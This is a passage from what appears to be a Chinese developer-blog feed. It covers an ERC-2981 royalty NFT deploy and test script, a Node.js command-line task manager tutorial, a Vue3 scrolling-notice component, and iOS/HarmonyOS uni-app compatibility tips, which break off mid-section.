import { network, artifacts } from "hardhat";
async function main() {
  // 连接网络
  const { viem } = await network.connect({ network: network.name });//指定网络进行链接
  
  // 获取客户端
  const [deployer] = await viem.getWalletClients();
  const publicClient = await viem.getPublicClient();
 
  const deployerAddress = deployer.account.address;
   console.log("部署者的地址:", deployerAddress);
  // 加载合约
  const artifact = await artifacts.readArtifact("MyRoyaltyNFT");
  const ipfsjsonuri="https://zygomorphic-magenta-bobolink.myfilebase.com/ipfs/QmQT8VpmWQVhUhoDCEK1mdHXaFaJ3KawkRxHm96GUhrXLB"
  // 部署(构造函数参数:recipient, initialOwner)
  const hash = await deployer.deployContract({
    abi: artifact.abi,//获取abi
    bytecode: artifact.bytecode,//硬编码
    args: ["MyRoyaltyNFT","MRNFT",ipfsjsonuri,deployerAddress,100,0],//nft名称,nft符号,ipfsjsonuri,部署者地址, royaltiesNumerator,royaltiesDenominator
  });

  // 等待确认并打印地址
  const receipt = await publicClient.waitForTransactionReceipt({ hash });
  console.log("合约地址:", receipt.contractAddress);
}

main().catch(console.error);

部署指令

npx hardhat run ./scripts/xxx.ts

智能合约测试脚本

import assert from "node:assert/strict";
import { describe, it,beforeEach  } from "node:test";
import { formatEther,parseEther } from 'viem'
import { network } from "hardhat";
describe("MyRoyaltyNFT", async function () {
    let viem: any;
    let publicClient: any;
    let owner: any, user1: any, user2: any, user3: any;
    let deployerAddress: string;
    let MyRoyaltyNFT: any;
    beforeEach (async function () {
        const { viem } = await network.connect();
         publicClient = await viem.getPublicClient();//创建一个公共客户端实例用于读取链上数据(无需私钥签名)。
         [owner,user1,user2,user3] = await viem.getWalletClients();//获取第一个钱包客户端 写入联合交易
        deployerAddress = owner.account.address;//钱包地址
       const ipfsjsonuri="https://zygomorphic-magenta-bobolink.myfilebase.com/ipfs/QmQT8VpmWQVhUhoDCEK1mdHXaFaJ3KawkRxHm96GUhrXLB";
       
        MyRoyaltyNFT = await viem.deployContract("MyRoyaltyNFT", [
            "My Royalty NFT",
            "MRNFT",
            ipfsjsonuri,
            deployerAddress,
            200,//版税1%
            0,
        ]);//部署合约
        console.log("MyRoyaltyNFT合约地址:", MyRoyaltyNFT.address); 
    });
    it("测试MyRoyaltyNFT", async function () {
        //查询nft名称和符号
       const name= await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "name",
            args: [],
        });
       const symbol= await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "symbol",
            args: [],
        });
        //查询总供应量和最大供应量
        const totalSupply= await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "totalSupply",
            args: [],
        });
        const maxSupply= await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "maxSupply",
            args: [],
        });
        //查询合约拥有者
       const ownerAddress= await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "owner",
            args: [],
        });
        console.log(name,symbol,totalSupply,maxSupply,ownerAddress)
        //铸造单个nft
        await owner.writeContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "safeMint",
            args: [user1.account.address],
        });
        //批量铸造nft
        const nftaddress=[user1.account.address,user2.account.address,user3.account.address]
        await owner.writeContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "safeMintBatch",
            args: [nftaddress],
        });

        //查询单个nft的tokenURI
        const TokenURI= await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "tokenURI",
            args: [0],
        });
        console.log(TokenURI)
        //查询余额和拥有者
        const balanceOf=await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "balanceOf",
            args: [user1.account.address],
        });
        console.log(balanceOf)
        //查询nft的拥有者
        const ownerOf=await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "ownerOf",
            args: [0],
        });
        console.log(ownerOf)
        //查询版税信息
        const royaltyInfo=await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "royaltyInfo",
            args: [0,parseEther("2")],
        });
        console.log(royaltyInfo)
        const GETAPPROVED=await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "getApproved",
            args: [0],
        });
        console.log(GETAPPROVED)
        //设置BaseURI
        const ipfsjsonuri1="https://zygomorphic-magenta-bobolink.myfilebase.com/ipfs/QmcN49MKt4MbSXSGckAcpvFqtea43uuPD2tvmuER1mG67s";
       const setBaseURI=await owner.writeContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "setBaseURI",
            args: [ipfsjsonuri1],
        });
        console.log(setBaseURI)
        //查询更新后的tokenURI
        const TokenURI1= await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "tokenURI",
            args: [0],
        });
        console.log("更新后",TokenURI1)
        //设置默认版税
        // const SETDEFAULTROYALTY=await owner.writeContract({
        //     address: MyRoyaltyNFT.address,
        //     abi: MyRoyaltyNFT.abi,
        //     functionName: "setDefaultRoyalty",
        //     args: [user3.account.address,"500"],
        // });
        // console.log(SETDEFAULTROYALTY)
        //设置版税
       const setTokenRoyalty = await owner.writeContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "setTokenRoyalty",
            args: [0,user3.account.address,"500"],
        });
        //查询版税信息
        const royaltyInfo1=await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "royaltyInfo",
            args: [0,parseEther("3")],
        });
        console.log("更新后版税信息",royaltyInfo1)
        //转账nft
        const TRANSFERFROM=await user1.writeContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "transferFrom",
            args: [user1.account.address,user2.account.address,0],
        });
        //查询nft的新拥有者
        const ownerOf1=await publicClient.readContract({
            address: MyRoyaltyNFT.address,
            abi: MyRoyaltyNFT.abi,
            functionName: "ownerOf",
            args: [0],
        });
        console.log(ownerOf1)
    });

});

测试指令

npx hardhat test ./test/xxx.ts

总结

至此,关于ERC-2981 版税标准从理论梳理到代码实现、工程落地的全流程实践,既验证了该标准的核心价值,也为开发者提供了可直接复用的版税 NFT 开发范式,是 NFT 生态从 “交易” 向 “持续价值分配” 演进的重要落地参考。

Node.js第一课:实现简易的命令行任务管理器

作者 Drift_Dream
2025年12月25日 16:56

Node.js简介

  • Node.js不是语言,是JavaScript的运行环境
  • 基于Chrome V8引擎,使JS可以脱离浏览器运行
  • 异步非阻塞I/O模型,适合高并发场景
  • 应用场景:Web服务、API开发、CLI工具、微服务等

第一个Node程序

创建项目结构

task-manager/
├── package.json
├── index.js
└── tasks.json  运行index.js后自动生成

package.json 配置

{
  "name": "task-manager",
  "version": "1.0.0",
  "description": "命令行任务管理器",
  "main": "index.js",
  "bin": {
    "task": "./index.js"
  },
  "scripts": {
    "start": "node index.js"
  }
}

index.js 内容

#!/usr/bin/env node

const fs = require('fs');
const path = require('path');

// 任务文件路径
const TASK_FILE = path.join(__dirname, 'tasks.json');

// 初始化任务文件
function initTasks() {
  if (!fs.existsSync(TASK_FILE)) {
    fs.writeFileSync(TASK_FILE, JSON.stringify([], null, 2));
  }
}

// 读取任务
function loadTasks() {
  try {
    const data = fs.readFileSync(TASK_FILE, 'utf8');
    return JSON.parse(data);
  } catch (error) {
    return [];
  }
}

// 保存任务
function saveTasks(tasks) {
  fs.writeFileSync(TASK_FILE, JSON.stringify(tasks, null, 2));
}

// 添加任务
function addTask(description) {
  const tasks = loadTasks();
  const newTask = {
    id: Date.now(),
    description,
    completed: false,
    createdAt: new Date().toISOString()
  };
  tasks.push(newTask);
  saveTasks(tasks);
  console.log(`✅ 任务添加成功: ${description}`);
}

// 列出任务
function listTasks() {
  const tasks = loadTasks();
  
  if (tasks.length === 0) {
    console.log("📝 还没有任务,快添加一个吧!");
    return;
  }
  
  console.log("\n📋 你的任务列表:");
  tasks.forEach((task, index) => {
    const status = task.completed ? '✅' : '⏳';
    console.log(`${index + 1}. ${status} ${task.description}`);
  });
}

// 完成任务
function completeTask(index) {
  const tasks = loadTasks();
  if (index >= 0 && index < tasks.length) {
    tasks[index].completed = true;
    saveTasks(tasks);
    console.log(`🎉 任务完成: ${tasks[index].description}`);
  } else {
    console.log("❌ 任务不存在");
  }
}

// 删除任务
function deleteTask(index) {
  const tasks = loadTasks();
  if (index >= 0 && index < tasks.length) {
    const deleted = tasks.splice(index, 1)[0];
    saveTasks(tasks);
    console.log(`🗑️ 任务删除: ${deleted.description}`);
  } else {
    console.log("❌ 任务不存在");
  }
}

// 主函数
function main() {
  initTasks();
  
  const [,, command, ...args] = process.argv;
  
  switch (command) {
    case 'add':
      if (args.length > 0) {
        addTask(args.join(' '));
      } else {
        console.log("❌ 请提供任务描述");
      }
      break;
      
    case 'list':
      listTasks();
      break;
      
    case 'done':
      if (args.length > 0) {
        completeTask(parseInt(args[0]) - 1);
      } else {
        console.log("❌ 请提供任务编号");
      }
      break;
      
    case 'delete':
      if (args.length > 0) {
        deleteTask(parseInt(args[0]) - 1);
      } else {
        console.log("❌ 请提供任务编号");
      }
      break;
      
    default:
      console.log(`
        使用说明:
          node index.js add <任务描述>  添加任务
          node index.js list           列出所有任务
          node index.js done <序号>    标记任务为完成
          node index.js delete <序号>  删除任务
      `);
  }
}

main();

运行与测试

# 添加任务
node index.js add "学习Node.js"
node index.js add "完成第一个项目"

# 查看任务
node index.js list

# 完成任务
node index.js done 1

# 删除任务
node index.js delete 2

知识点总结

  • CommonJS模块系统:使用 require导入模块

  • 核心模块fs(文件系统)、path(路径处理)

  • 全局对象process获取进程信息

  • JSON操作:读写JSON文件

  • 命令行参数process.argv处理用户输入

🔥🔥高效易用的 Vue3 公告滚动组件:打造丝滑的内容滚动体验(附源码)

作者 同学80796
2025年12月25日 16:38

在各类后台管理系统、营销页面或信息展示场景中,公告滚动是高频且基础的交互需求 —— 既要实现内容自动向上滚动的展示效果,也要兼顾用户手动操作的灵活性。基于 Vue3 Setup 语法糖封装的这款公告滚动组件,完美平衡了「自动展示」与「手动交互」的需求,为前端开发提供了开箱即用、高度可定制的解决方案。

核心特性:兼顾体验与灵活性

这款组件围绕 “用户体验优先” 设计,核心功能覆盖场景全、交互细节拉满:

  1. 丝滑自动滚动:支持像素级缓慢向上滚动,滚动条与内容同步移动,滚到底部后无缝重置至顶部,避免内容断层;可通过autoScrollSpeed参数自定义滚动速度(默认 1px / 帧),兼顾展示效率与视觉舒适度。
  2. 灵活的手动交互
    • 鼠标悬浮即时暂停滚动,移出后立即恢复,方便用户聚焦查看单条公告;
    • 滚轮操作大幅提速(默认单次滚动 40px),可通过wheelStep参数调整灵敏度,满足快速浏览需求;
    • 保留原生滚动条并支持自定义样式,手动拖拽滚动条后 1 秒自动恢复滚动,兼顾不同操作习惯。
  3. 响应式与兼容性:监听公告列表数据变化,数据更新后自动重新计算高度并重启滚动;兼容 Chrome、Firefox、Edge 等现代浏览器,适配不同内核的滚动条样式。
  4. 轻量且易扩展:无第三方依赖,基于 Vue3 原生 API 开发;组件样式、容器宽高可通过外部样式灵活覆盖,无需修改源码即可适配不同 UI 风格。

快速上手:极简集成,开箱即用

组件采用 Vue3 Setup 语法糖开发,集成流程极简:

  1. 引入组件:将NoticeScroll.vue文件放入项目组件目录,在需要使用的页面直接导入;
  2. 传入数据:仅需传递核心参数list(公告列表数组),即可启动基础滚动功能;
  3. 定制化配置(可选):通过autoScrollSpeed(滚动速度)、wheelStep(滚轮步长)、pauseOnHover(悬浮暂停)等参数,快速适配业务场景。

示例代码简洁直观:

vue

<NoticeScroll
  :list="noticeList"
  :autoScrollSpeed="1"
  :wheelStep="40"
  style="width: 500px; height: 200px;"
/>

适用场景:覆盖多类信息展示需求

无论是后台系统的系统公告、电商页面的营销通知,还是资讯类产品的动态资讯,这款组件都能适配 —— 既满足 “无人操作时自动轮播展示” 的基础需求,也解决了 “用户想手动快速浏览 / 聚焦查看” 的交互痛点。组件内置的内存泄漏防护(卸载时清理定时器、事件监听),也保证了在复杂页面中使用的稳定性。

代码如下:

<template>
  <div 
    class="notice-scroll-wrapper"
    ref="wrapperRef"
    @mouseenter="handleMouseEnter"
    @mouseleave="handleMouseLeave"
    @wheel="handleWheel"
  >
    <ul class="notice-scroll-list">
      <li 
        class="notice-scroll-item"
        v-for="(item, index) in list"
        :key="index"
      >
        {{ item }}
      </li>
    </ul>
  </div>
</template>

<script setup>
import { ref, onMounted, onUnmounted, watch } from 'vue';

// 定义组件属性
const props = defineProps({
  // 公告列表数据
  list: {
    type: Array,
    required: true,
    default: () => []
  },
  // 自动滚动速度(像素/帧)
  autoScrollSpeed: {
    type: Number,
    default: 1
  },
  // 滚轮单次滚动步长(像素)
  wheelStep: {
    type: Number,
    default: 40
  },
  // 帧率(建议60)
  frameRate: {
    type: Number,
    default: 60
  },
  // 鼠标悬浮是否暂停
  pauseOnHover: {
    type: Boolean,
    default: true
  }
});

// DOM 引用
const wrapperRef = ref(null);
// 状态变量
const timer = ref(null); // 自动滚动定时器
const autoScrollTimer = ref(null); // 滚轮/滚动条后恢复定时器
const isHover = ref(false); // 是否悬浮
const wrapperH = ref(0); // 容器高度
const contentH = ref(0); // 内容总高度
const maxScrollTop = ref(0); // 滚动条最大位置

// 初始化
const init = () => {
  if (!wrapperRef.value) return;
  // 计算容器/内容高度
  wrapperH.value = wrapperRef.value.offsetHeight;
  contentH.value = wrapperRef.value.querySelector('.notice-scroll-list').offsetHeight;
  maxScrollTop.value = contentH.value - wrapperH.value;
  // 启动自动滚动
  startAutoScroll();
};

// 启动自动滚动
const startAutoScroll = () => {
  // 内容高度 ≤ 容器高度时,不滚动
  if (contentH.value <= wrapperH.value) return;
  // 清除旧定时器
  clearInterval(timer.value);
  // 逐帧更新滚动条位置
  timer.value = setInterval(() => {
    let current = wrapperRef.value.scrollTop;
    current += props.autoScrollSpeed;
    // 无缝重置:滚到底部回到顶部
    if (current >= maxScrollTop.value) {
      current = 0;
    }
    wrapperRef.value.scrollTop = current;
  }, 1000 / props.frameRate);
};

// 停止自动滚动
const stopAutoScroll = () => {
  clearInterval(timer.value);
  timer.value = null;
};

// 鼠标移入:暂停滚动
const handleMouseEnter = () => {
  if (!props.pauseOnHover) return;
  isHover.value = true;
  stopAutoScroll();
};

// 鼠标移出:恢复滚动
const handleMouseLeave = () => {
  if (!props.pauseOnHover) return;
  isHover.value = false;
  startAutoScroll();
};

// 滚轮控制:提速滚动
const handleWheel = (e) => {
  e.preventDefault();
  // 暂停自动滚动
  stopAutoScroll();
  // 计算新滚动位置
  const newScrollTop = wrapperRef.value.scrollTop + (e.deltaY > 0 ? props.wheelStep : -props.wheelStep);
  // 边界限制
  wrapperRef.value.scrollTop = Math.max(0, Math.min(newScrollTop, maxScrollTop.value));
  // 1秒后恢复自动滚动
  clearTimeout(autoScrollTimer.value);
  autoScrollTimer.value = setTimeout(() => {
    if (!isHover.value) startAutoScroll();
  }, 1000);
};

// 监听滚动条手动拖动:恢复自动滚动
const handleScroll = () => {
  // 排除自动滚动触发的scroll事件
  if (timer.value) return;
  stopAutoScroll();
  clearTimeout(autoScrollTimer.value);
  autoScrollTimer.value = setTimeout(() => {
    if (!isHover.value) startAutoScroll();
  }, 1000);
};

// 监听列表数据变化:重新初始化
watch(
  () => props.list,
  () => {
    // 清除旧定时器
    clearInterval(timer.value);
    clearTimeout(autoScrollTimer.value);
    // 重新计算高度并启动
    setTimeout(init, 0); // 异步等待DOM更新
  },
  { deep: true }
);

// 生命周期:挂载时初始化
onMounted(() => {
  init();
  // 绑定滚动条拖动事件
  if (wrapperRef.value) {
    wrapperRef.value.addEventListener('scroll', handleScroll);
  }
});

// 生命周期:卸载时清理
onUnmounted(() => {
  clearInterval(timer.value);
  clearTimeout(autoScrollTimer.value);
  if (wrapperRef.value) {
    wrapperRef.value.removeEventListener('scroll', handleScroll);
  }
});
</script>

<style scoped>
.notice-scroll-wrapper {
  width: 100%;
  height: 200px; /* 默认高度,可通过父组件覆盖 */
  border: 1px solid #e5e5e5;
  border-radius: 4px;
  overflow-y: auto;
  overflow-x: hidden;
  scrollbar-width: thin; /* Firefox 滚动条样式 */
  scrollbar-color: #ccc #f5f5f5;
}

/* 自定义滚动条 - Chrome/Edge/Safari */
.notice-scroll-wrapper::-webkit-scrollbar {
  width: 6px;
}
.notice-scroll-wrapper::-webkit-scrollbar-track {
  background: #f5f5f5;
  border-radius: 3px;
}
.notice-scroll-wrapper::-webkit-scrollbar-thumb {
  background: #ccc;
  border-radius: 3px;
}
.notice-scroll-wrapper::-webkit-scrollbar-thumb:hover {
  background: #999;
}

.notice-scroll-list {
  list-style: none;
  padding: 0 20px;
  margin: 0;
}

.notice-scroll-item {
  line-height: 1.6;
  padding: 8px 0;
  color: #333;
  word-break: break-all;
}

.notice-scroll-item:hover {
  color: #1890ff;
  transition: color 0.2s;
}
</style>

调用示例:

<template>
  <div class="demo-container">
    <h3>公告滚动示例</h3>
    <!-- 使用公告滚动组件 -->
    <NoticeScroll
      :list="noticeList"
      :autoScrollSpeed="1"
      :wheelStep="40"
      :pauseOnHover="true"
      style="width: 500px; height: 200px;"
    />
  </div>
</template>

<script setup>
import NoticeScroll from './NoticeScroll.vue';

// 公告列表数据
const noticeList = [
  '【公告1】系统将于2025-12-30 23:00进行维护升级,预计耗时2小时,维护期间将暂停所有线上服务,敬请谅解。',
  '【公告2】新用户注册即可领取88元新人礼包,包含5张满减券+1张免运费券,有效期7天,仅限首次注册用户使用。',
  '【公告3】企业版新增数据导出功能,支持Excel/PDF格式,可导出近3个月的客户跟进数据、成交数据、报表数据等。',
  '【公告4】本周累计成交满10000元,可享9折优惠,优惠可叠加会员权益,活动截止至2025-12-31。',
  '【公告5】移动端APP已更新至v2.8.0版本,新增扫码核销、离线缓存功能,建议所有用户及时升级。',
  '【公告6】客服工作时间调整为9:00-22:00,节假日正常值班,如有问题可随时联系在线客服。',
  '【公告7】会员等级体系升级,新增钻石会员等级,可享专属客服、优先发货等权益。'
];
</script>

<style scoped>
.demo-container {
  padding: 50px;
}
</style>

iOS 和 HarmonyOS 兼容笔记

作者 吴汉三
2025年12月25日 16:31

1. iOS 审核域名限制问题

问题描述

iOS 审核人员位于国外,App 内访问的 API 域名需要能在外网访问,否则可能导致审核失败。

解决方案

确保所有 API 域名都能在外网访问,或提供审核专用的 API 环境。

代码示例

// 配置 API 域名时考虑审核需求
const isProduction = process.env.NODE_ENV === 'production';
const isReview = process.env.VUE_APP_REVIEW === 'true';

// 审核环境使用可外网访问的域名
const baseUrl = isReview ? 'https://review-api.example.com' : 
               isProduction ? 'https://api.example.com' : 
               'http://dev-api.example.com';

export default {
  baseUrl
};

2. iOS scroll-view 内 fixed 定位弹框被遮挡

问题描述

在 iOS 设备上,scroll-view 组件内部的 fixed 定位弹框内容会被遮挡,无法正常显示。

解决方案

将弹框移出 scroll-view 组件,或使用其他定位方式。

代码示例

<!-- 错误示例:fixed 定位弹框在 scroll-view 内部 -->
<scroll-view scroll-y="true" style="height: 100vh;">
  <view>scroll-view 内容</view>
  <view class="popup" style="position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%);">
    弹框内容
  </view>
</scroll-view>

<!-- 正确示例:fixed 定位弹框在 scroll-view 外部 -->
<scroll-view scroll-y="true" style="height: 100vh;">
  <view>scroll-view 内容</view>
</scroll-view>
<view class="popup" style="position: fixed; top: 50%; left: 50%; transform: translate(-50%, -50%);">
  弹框内容
</view>

3. iOS plus.io.chooseFile() 返回路径处理问题

问题描述

在 iOS 上,plus.io.chooseFile().then(res => {}) 返回的 res.files[0] 已经是可直接读取的绝对路径,不能再用 plus.io.convertLocalFileSystemURL 去转换,否则会拼接出不合法的路径,导致 uni.uploadFile 读取不到文件体。

解决方案

根据平台判断是否需要转换路径。

代码示例

plus.io.chooseFile({
  title: '选择文件',
  filter: {
    mimeTypes: ['image/*']
  }
}).then(res => {
  let filePath = res.files[0];
  
  // 根据平台判断是否需要转换路径
  if (uni.getSystemInfoSync().platform !== 'ios') {
    // 非 iOS 平台需要转换路径
    filePath = plus.io.convertLocalFileSystemURL(filePath);
  }
  
  // 使用转换后的路径进行文件上传
  uni.uploadFile({
    url: 'https://api.example.com/upload',
    filePath: filePath,
    name: 'file',
    success: (uploadRes) => {
      console.log('上传成功', uploadRes);
    },
    fail: (err) => {
      console.error('上传失败', err);
    }
  });
});

4. HarmonyOS picker 组件异步数据渲染问题

问题描述

在 HarmonyOS 设备上,内置组件 picker 的 range 使用异步数据时,需要使用 v-if 或 v-show 控制在获取到数据后再渲染 picker 组件,否则 picker 组件弹框不会显示。

解决方案

使用 v-if 或 v-show 控制 picker 组件的渲染时机,确保在数据加载完成后再渲染。

代码示例

<template>
  <view>
    <button @click="showPicker = true">显示选择器</button>
    
    <!-- 使用 v-if 控制 picker 组件渲染时机 -->
    <picker
      v-if="pickerData.length > 0"
      v-model="selectedIndex"
      :range="pickerData"
      @change="onPickerChange"
      v-show="showPicker"
    ></picker>
  </view>
</template>

<script>
export default {
  data() {
    return {
      pickerData: [],
      selectedIndex: 0,
      showPicker: false
    };
  },
  onLoad() {
    // 异步获取数据
    this.loadPickerData();
  },
  methods: {
    loadPickerData() {
      // 模拟异步请求
      setTimeout(() => {
        this.pickerData = ['选项1', '选项2', '选项3', '选项4', '选项5'];
      }, 1000);
    },
    onPickerChange(e) {
      console.log('选择了', this.pickerData[e.detail.value]);
      this.showPicker = false;
    }
  }
};
</script>

5. HarmonyOS uni.getLocation 坐标系转换问题

问题描述

在鸿蒙设备上使用 uni.getLocation 获取定位是通过鸿蒙系统定位,获取到的定位坐标系是国际坐标系(wgs84),需要进行坐标系转换得到国测局坐标系(gcj02)才能在高德地图 API 上使用。

解决方案

使用坐标系转换算法将 wgs84 转换为 gcj02。

代码示例

// 坐标系转换算法(wgs84 转 gcj02)
function wgs84togcj02(lng, lat) {
  const pi = 3.1415926535897932384626;
  const a = 6378245.0;
  const ee = 0.00669342162296594323;
  
  if (out_of_china(lng, lat)) {
    return [lng, lat];
  } else {
    let dlat = transformlat(lng - 105.0, lat - 35.0);
    let dlng = transformlng(lng - 105.0, lat - 35.0);
    const radlat = lat / 180.0 * pi;
    let magic = Math.sin(radlat);
    magic = 1 - ee * magic * magic;
    const sqrtmagic = Math.sqrt(magic);
    dlat = (dlat * 180.0) / ((a * (1 - ee)) / (magic * sqrtmagic) * pi);
    dlng = (dlng * 180.0) / (a / sqrtmagic * Math.cos(radlat) * pi);
    const mglat = lat + dlat;
    const mglng = lng + dlng;
    return [mglng, mglat];
  }
}

function transformlat(lng, lat) {
  const pi = 3.1415926535897932384626;
  let ret = -100.0 + 2.0 * lng + 3.0 * lat + 0.2 * lat * lat + 0.1 * lng * lat + 0.2 * Math.sqrt(Math.abs(lng));
  ret += (20.0 * Math.sin(6.0 * lng * pi) + 20.0 * Math.sin(2.0 * lng * pi)) * 2.0 / 3.0;
  ret += (20.0 * Math.sin(lat * pi) + 40.0 * Math.sin(lat / 3.0 * pi)) * 2.0 / 3.0;
  ret += (160.0 * Math.sin(lat / 12.0 * pi) + 320 * Math.sin(lat * pi / 30.0)) * 2.0 / 3.0;
  return ret;
}

function transformlng(lng, lat) {
  const pi = 3.1415926535897932384626;
  let ret = 300.0 + lng + 2.0 * lat + 0.1 * lng * lng + 0.1 * lng * lat + 0.1 * Math.sqrt(Math.abs(lng));
  ret += (20.0 * Math.sin(6.0 * lng * pi) + 20.0 * Math.sin(2.0 * lng * pi)) * 2.0 / 3.0;
  ret += (20.0 * Math.sin(lng * pi) + 40.0 * Math.sin(lng / 3.0 * pi)) * 2.0 / 3.0;
  ret += (150.0 * Math.sin(lng / 12.0 * pi) + 300.0 * Math.sin(lng / 30.0 * pi)) * 2.0 / 3.0;
  return ret;
}

function out_of_china(lng, lat) {
  return (lng < 72.004 || lng > 137.8347) || ((lat < 0.8293 || lat > 55.8271) || false);
}

// 使用示例
uni.getLocation({
  type: 'gcj02',
  success: (res) => {
    let lng = res.longitude;
    let lat = res.latitude;
    
    // 如果是鸿蒙设备,需要进行坐标系转换
    const systemInfo = uni.getSystemInfoSync();
    if (systemInfo.platform === 'harmony') {
      // 鸿蒙设备获取的是 wgs84 坐标系,需要转换为 gcj02
      const gcj02 = wgs84togcj02(lng, lat);
      lng = gcj02[0];
      lat = gcj02[1];
    }
    
    console.log('转换后的坐标', lng, lat);
    // 使用转换后的坐标调用高德地图 API
  }
});

6. HarmonyOS uni.chooseImage 不兼容 5.0

问题描述

uni.chooseImage 不兼容 HarmonyOS 5.0,在该版本上无法正常使用。

解决方案

使用 plus.io.chooseFile 替代 uni.chooseImage,或使用其他兼容方案。

代码示例

// 兼容 HarmonyOS 5.0 的图片选择方法
function chooseImage(options) {
  const systemInfo = uni.getSystemInfoSync();
  
  // 如果是 HarmonyOS 5.0 或以上版本,使用 plus.io.chooseFile
  if (systemInfo.platform === 'harmony' && parseFloat(systemInfo.osVersion) >= 5.0) {
    return new Promise((resolve, reject) => {
      plus.io.chooseFile({
        title: '选择图片',
        filter: {
          mimeTypes: ['image/*']
        },
        multiple: options.count > 1,
        maxSelect: options.count
      }).then(res => {
        const tempFilePaths = res.files.map(file => {
          return plus.io.convertLocalFileSystemURL(file);
        });
        resolve({ tempFilePaths });
      }).catch(err => {
        reject(err);
      });
    });
  } else {
    // 其他平台使用 uni.chooseImage
    return new Promise((resolve, reject) => {
      uni.chooseImage({
        count: options.count,
        success: resolve,
        fail: reject
      });
    });
  }
}

// 使用示例
chooseImage({ count: 1 }).then(res => {
  console.log('选择的图片', res.tempFilePaths);
}).catch(err => {
  console.error('选择图片失败', err);
});

7. 高频同步 I/O 操作导致卡顿/闪退

问题描述

在列表渲染期间,高频地在主线程上执行同步 I/O 操作,会严重阻塞 UI 渲染,导致应用卡顿、无响应(ANR),而在一些对主线程管控更严格的系统(如 HarmonyOS Next)上,这很容易被判定为异常并导致闪退。

解决方案

将同步 I/O 操作改为异步,或减少调用次数,或使用缓存。

代码示例

<template>
  <view>
    <list>
      <list-item v-for="item in listData" :key="item.id">
        <text>{{ item.title }}</text>
        <text>{{ item.status }}</text>
      </list-item>
    </list>
  </view>
</template>

<script>
export default {
  data() {
    return {
      listData: []
    };
  },
  onLoad() {
    this.loadListData();
  },
  methods: {
    // 错误示例:列表渲染时多次调用 uni.getStorageSync
    loadListData() {
      // 模拟获取列表数据
      const list = [];
      for (let i = 0; i < 100; i++) {
        list.push({ id: i, title: '项目' + i });
      }
      
      // 错误:在循环中多次调用同步 I/O 操作
      list.forEach(item => {
        // 这会导致严重的性能问题
        const status = uni.getStorageSync(`item_status_${item.id}`);
        item.status = status || '默认状态';
      });
      
      this.listData = list;
    }
  }
};
</script>

<script>
// 正确示例:使用异步方法或减少调用次数
export default {
  data() {
    return {
      listData: []
    };
  },
  onLoad() {
    this.loadListData();
  },
  methods: {
    async loadListData() {
      // 模拟获取列表数据
      const list = [];
      for (let i = 0; i < 100; i++) {
        list.push({ id: i, title: '项目' + i });
      }
      
      // 正确:一次性获取所有需要的数据
      const allStatus = await this.getAllItemStatus(list);
      
      // 合并数据
      list.forEach(item => {
        item.status = allStatus[`item_status_${item.id}`] || '默认状态';
      });
      
      this.listData = list;
    },
    // 一次性获取所有需要的数据
    getAllItemStatus(list) {
      return new Promise((resolve) => {
        // 在实际应用中,可以使用异步方法批量获取数据
        // 这里模拟一次性获取所有状态
        const result = {};
        // 模拟异步操作
        setTimeout(() => {
          list.forEach(item => {
            result[`item_status_${item.id}`] = '状态' + item.id;
          });
          resolve(result);
        }, 100);
      });
    }
  }
};
</script>

8. HarmonyOS 页面多次调用 uni.getStorageSync 性能问题

问题描述

页面中多次调用 uni.getStorageSync 类似的同步方法,在鸿蒙设备上非常消耗性能,会造成页面加载渲染卡顿。

解决方案

将多次调用改为单次调用,或使用异步方法,或使用缓存。

代码示例

// 错误示例:多次调用 uni.getStorageSync
function loadUserData() {
  const userId = uni.getStorageSync('user_id');
  const userName = uni.getStorageSync('user_name');
  const userAvatar = uni.getStorageSync('user_avatar');
  const userGender = uni.getStorageSync('user_gender');
  const userAge = uni.getStorageSync('user_age');
  
  return {
    userId,
    userName,
    userAvatar,
    userGender,
    userAge
  };
}

// 正确示例:使用异步方法一次性获取所有数据
async function loadUserData() {
  // 方式一:使用异步方法
  const userInfo = await uni.getStorage({ key: 'user_info' });
  
  // 方式二:如果数据分散存储,使用 Promise.all 并行获取
  /*
  const [userIdRes, userNameRes, userAvatarRes, userGenderRes, userAgeRes] = await Promise.all([
    uni.getStorage({ key: 'user_id' }),
    uni.getStorage({ key: 'user_name' }),
    uni.getStorage({ key: 'user_avatar' }),
    uni.getStorage({ key: 'user_gender' }),
    uni.getStorage({ key: 'user_age' })
  ]);
  
  const userInfo = {
    userId: userIdRes.data,
    userName: userNameRes.data,
    userAvatar: userAvatarRes.data,
    userGender: userGenderRes.data,
    userAge: userAgeRes.data
  };
  */
  
  return userInfo.data;
}

// 正确示例:将分散的数据合并存储
// 存储数据时
uni.setStorageSync('user_info', {
  userId: '123',
  userName: '张三',
  userAvatar: 'https://example.com/avatar.jpg',
  userGender: '男',
  userAge: 25
});

9. uni.onuni.on、uni.emit 跨页面通信在 H5 打包后失效

问题描述

uni.$onuni.$emit 事件,在打包成 H5 页面后不能跨页面通信。

解决方案

